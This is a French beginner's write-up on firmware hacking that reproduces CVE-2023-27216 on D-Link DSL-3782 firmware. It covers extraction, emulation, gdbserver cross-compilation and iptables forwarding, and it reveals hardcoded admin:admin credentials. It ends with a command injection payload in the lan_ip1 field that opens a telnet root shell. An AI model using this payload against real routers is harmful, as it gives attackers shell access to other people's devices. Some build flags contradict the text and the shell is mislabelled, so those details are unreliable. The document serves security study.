
L'approche d'un débutant au hacking de firmware
Ce document relate mon expérience personnelle en tant que débutant dans la rétro-ingénierie et l'exploitation de firmware.

Pour la démonstration, nous allons analyser et reproduire CVE-2023-27216.
Afin d'exploiter des firmwares, voici les étapes à suivre :
gdbserver de manière statique afin de déboguer.En général, un fichier binaire de firmware contient un chargeur de démarrage (uBoot), un fichier noyau, un en-tête de noyau pour le chargeur de démarrage (uImage), un système de fichiers compressé (généralement au format SquashFS), une table CRC/MD5 (pour vérifier l'intégrité des fichiers) et d'autres fichiers divers.
Cherchez d'abord un moyen d'analyser le firmware, faites des recherches, voici quelques ressources :

Extrayez le firmware avec binwalk : binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

On obtient le dossier squashfs-root extrait et des fichiers étranges.

Bonus : Si vous ne voyez pas le dossier squashfs-root, utilisez unsquashfs sur les fichiers ".squashfs" que vous voyez. Ce sont comme des fichiers zip 😅.
Vérifiez l'architecture et l'endianness du firmware. Cela peut être vérifié en examinant certains binaires extraits du firmware. Vérifiez l'architecture et le firmware : file <binary>

Ici, nous pouvons presque confirmer que le firmware fonctionne sur une architecture MIPS 32 bits MSB. La raison du « presque » est que certains firmwares peuvent fonctionner sur une architecture différente MIPS Compatible telle que Lexra.
En inspectant le dossier squashfs-root, on trouve des fichiers intéressants :
usr/etc/init.d/rcS => C'est le script qui s'exécute au démarrage du firmwareusr/etc/passwd => C'est le fichier qui contient les informations utilisateuruserfs/romfile.cfg => Il y a des identifiants admin:adminEn inspectant le fichier rcS, on trouve du code intéressant :
echo "admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh" > /usr/etc/passwd
passwdBoa est un serveur web ancien, principalement utilisé dans les appareils embarqués comme les routeurs dans les années 2000. Cependant, le serveur boa a arrêté son développement en 2005 ! Même si le serveur Boa est mort il y a presque 20 ans, il vit encore aujourd'hui grâce à notre fabricant.

Je recommande d'utiliser un OS basé sur Debian pour le processus d'émulation, comme Ubuntu ou Kali. Il existe un autre OS centré sur le hacking de firmware appelé AttifyOS. Dans ce document, j'ai utilisé Kali Linux. Pour commencer le processus d'émulation, voici 2 outils :

Voyons comment utiliser FAT pour émuler complètement un firmware. Tout d'abord, nous clonons le dépôt depuis GitHub sur votre machine Kali. Ensuite, nous suivons le processus d'installation. Vous devez aussi modifier le fichier fat.config, sinon cela ne fonctionnera pas.
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
vi fat.config # Modify to your sudo password.
Ensuite, nous copions le binaire du firmware (celui téléchargé depuis le fabricant) dans le dossier de FAT sur notre machine Kali et nous l'exécutons.
./fat.py DSL-3782_A1_EU_1.01_07282016.bin
Remarque : Pendant le processus d'installation de FAT, nous pouvons rencontrer des erreurs. Il peut indiquer « no libmagic ».

Il suffit de lancer
pip unistall python-magic
pip install python-magic
Cela devrait résoudre le problème, puis nous relançons la commande de build. Cela devrait maintenant fonctionner à merveille.

Appuyez sur Entrée pour lancer. Le processus d'émulation devrait bien fonctionner : vous pouvez naviguer vers http://192.168.1.1 (sur la machine Kali) pour vérifier si cela fonctionne.

Vous pouvez également vous connecter à la console si vous avez les identifiants. Voici admin:admin.

Si vous décidez d'éteindre le firmware émulé, appuyez simplement sur Ctrl+A X. Lorsque vous devez le relancer, ne relancez pas fat.py, car le firmware a déjà été transformé en image. Vous n'avez qu'à exécuter le script qui a déjà été généré.
cd firmadyne/scratch/<Image-ID>
./run.sh

Compiler gdbserver à des fins de débogage. Il existe de nombreuses façons de compiler gdbserver. Vous pouvez aussi télécharger un serveur compilé statiquement. Il y a un dépôt qui contient des versions compilées statiquement. Cependant, je préfère compiler gdbserver moi-même car celles du dépôt GitHub sont assez anciennes et peuvent poser des problèmes de compatibilité.
Référez-vous à cet article de blog pour plus de références https://sheran.sg/blog/cross-compile-gdb-for-mips/. L'article a été publié le 30 juillet 2024, juste avant ce projet, donc il fonctionne parfaitement.
Remarque : L'article est conçu pour MIPS x32 LSB, mais nous avons besoin de MIPS x32 MSB. Nous devons remplacer mipsel-linux-gnu par mips-linux-gnu.
Nous devons installer la chaîne d'outils pour MIPS. Heureusement, le paquet Debian l'inclut déjà.
**apt update && apt upgrade -y
apt install -y build-essential m4 gcc-mips-linux-gnu g++-mips-linux-gnu**
Pour compiler gdbserver pour MIPS, il y a quelques paquets que nous devons compiler et installer. Voici d'où je tire les sources.
Obtenir les sources
wget https://sourceware.org/pub/gdb/releases/gdb-15.1.tar.xz
wget https://gmplib.org/download/gmp/gmp-6.3.0.tar.xz
wget https://www.mpfr.org/mpfr-current/mpfr-4.2.1.tar.xz
Compiler les bibliothèques avec la chaîne d'outils Il est essentiel d'avoir les privilèges root lorsque nous compilons ces bibliothèques. Nous devons d'abord compiler GMP, car c'est une condition requise pour compiler MPFR.
tar xvf gmp-6.3.0.tar.xz && cd gmp-6.3.0
./configure --host=mips-linux-gnu
make -j$((`nproc`+1))
make install
cd ..
Ensuite, nous compilons MPFR :
tar xvf mpfr-4.2.1.tar.xz && cd mpfr-4.2.1
./configure --host=mipsel-linux-gnu --with-gmp-build=<YOUR-FOLDER>/gmp-6.3.0
make -j$((`nproc`+1))
make install
cd ..
Maintenant, nous pouvons enfin compiler gdbserver :
tar xvf gdb-15.1.tar.xz && cd gdb-15.1
./configure --host=mipsel-linux-gnu --with-gmp-lib=/usr/local/lib --with-mpfr-lib=/usr/local/lib --with-gmp-include=<YOUR-FOLDER>/gmp-6.3.0 --with-mpfr-include=<YOUR-FOLDER>/mpfr-4.2.1/src
make -j$((`nproc`+1)) LDFLAGS=-static
Le binaire gdbserver compilé devrait se trouver dans le dossier gdb-15.1/gdbserver.
Le firmware émulé ne dispose pas de wget, nc, curl, /dev/tcp, ... Nous ne pouvons pas héberger un serveur HTTP Python pour transférer des fichiers. Nous n'avons pas non plus ssh. Cependant, nous pouvons toujours placer notre gdbserver sur la machine émulée en montant l'image.
sudo ./scripts/mount.sh 1gdbserver compilé statiquement où vous voulez dans le dossier monté.sudo ./scripts/umount.sh 1./run.sh à nouveau pour être sûr).

À partir de maintenant, vous pouvez effectuer du débogage et du hacking dans la machine Kali. Cependant, nous pouvons aller plus loin en redirigeant les ports de la machine émulée vers notre machine hôte (Windows ou Mac).
Commençons par vérifier le réseau avec ifconfig.

Le résultat nous indique qu'il y a 2 interfaces : eth0 et tap1_0. D'après ce que nous savons, l'interface eth0 correspond au réseau partagé avec l'hôte et tap1_0 est l'interface de la machine du firmware émulé.
Pour une meilleure compréhension, le réseau de eth0 est comme un réseau public où nous pouvons accéder à la machine Kali depuis la machine hôte. tap1_0 est comme le réseau privé où nous ne pouvons accéder que depuis la machine Kali. Nous devons rediriger la connexion depuis eth0 vers le port 192.168.1.1:80 sur l'interface tap1_0.
Il existe de nombreux outils qui peuvent nous aider. Cependant, iptables semble être le meilleur, si vous savez le configurer bien sûr.
Nous devons d'abord autoriser la redirection de ports. Exécutez cette commande :
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
Cela ne s'applique que pour une seule session. Si vous voulez l'appliquer de manière permanente, modifiez le contenu de /etc/sysctl.conf.
net.ipv4.ip_forward=1 # Find this line, uncomment it.
Enregistrez et fermez le fichier lorsque vous avez terminé.
Appliquez ensuite les paramètres de ce fichier. Exécutez la commande suivante :
sudo sysctl -p
sudo sysctl --system
Normalement, nous pouvons exécuter une série de commandes iptables. Mais ce serait trop pénible 😵💫. Nous pouvons installer un outil iptables-persistent. Il permet d'écrire un fichier de configuration, de le charger dans un fichier ou d'extraire des chaînes dans un fichier. Tout peut être fait rapidement.
apt install iptables-persistent
Le fichier de configuration à modifier ici est /etc/iptables/rules.v4. Nous remplaçons le contenu du fichier par le contenu suivant.
*filter
:INPUT ACCEPT [37:22880]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [35:2330]
# Forward HTTP Port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 80 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 80 -s 192.168.1.1 -j ACCEPT
# Forward Debugger port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 31337 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 31337 -s 192.168.1.1 -j ACCEPT
COMMIT
# Completed on Wed Aug 7 09:32:11 2024
# Generated by iptables-save v1.8.10 (nf_tables) on Wed Aug 7 09:32:11 2024
*nat
:PREROUTING ACCEPT [60:5405]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [1096:50947]
-A PREROUTING -i eth0 -p tcp -j DNAT --to-destination 192.168.1.1
-A POSTROUTING -o tap1_0 -p tcp -d 192.168.1.1 -j MASQUERADE
Attention : Autoriser tous les ports génère de nombreux problèmes de sécurité. Il est recommandé de
DROPtous les ports puis de neFORWARDque quelques-uns selon vos besoins.
Enregistrez et rechargez la chaîne iptables.
service netfilter-persistent reload
Vous pouvez désormais y accéder depuis l'extérieur de la machine hôte.

Plusieurs points d'entrée sont exploitables. Deux d'entre eux se trouvent dans le binaire cfg_manager. Je n'en démontre qu'un seul, l'autre, je vous laisse le découvrir par vous-même.
Passez le binaire dans votre décompilateur préféré, recherchez toutes les commandes system, vous verrez peut-être ceci. La commande exécute un fichier appelé /etc/lanconfig.sh.

En cherchant d'autres endroits qui pourraient utiliser ce fichier, j'ai trouvé un endroit où nous pouvons écrire le fichier.

Explication de ce qu'il fait :
/etc/lanconfig.shmxmlElementGetAttr qui, je suppose, trouve un attribut à partir d'un objet, cela peut être directement ou indirectement à partir d'une requête HTTP, cela peut être du XML.sprintf pour créer une chaîne à partir des attributs obtenus via mxmlElementGetAttr.fputs pour écrire dans le fichier.Immédiatement, j'ai cherché dans le dossier web boaroot tout ce qui est lié à IP, netmask et j'ai trouvé ceci. La documentation du serveur web boa est extrêmement limitée, je ne peux que supposer qu'il place le paramètre POST lan_ip1 dans les paramètres IP d'un XML qui est appelé depuis le binaire.

Sur l'interface, nous pouvons trouver la requête qui déclenche le bug. Elle se trouve dans Paramètres > Réseau

Interceptez la requête avec Burpsuite lorsque nous appuyons sur Enregistrer.

Le payload 192.168.1.1;utelnetd -p 8090 -l /bin/sh; est un reverse shell. Nous pouvons l'exécuter et nous y connecter.

Similaire, peut-être même meilleur que FAT, je n'ai pas essayé -> FirmAE.
Binary Ninja ne coûte que 74 $ si vous avez un statut étudiant. La licence peut être partagée avec n'importe qui.
D'autres bugs liés à la CVE :

Cela peut aussi mener à une RCE, je vous laisse le faire vous-même. La mémoire à cet emplacement data_4c0160 peut être injectée quelque part 🫡.

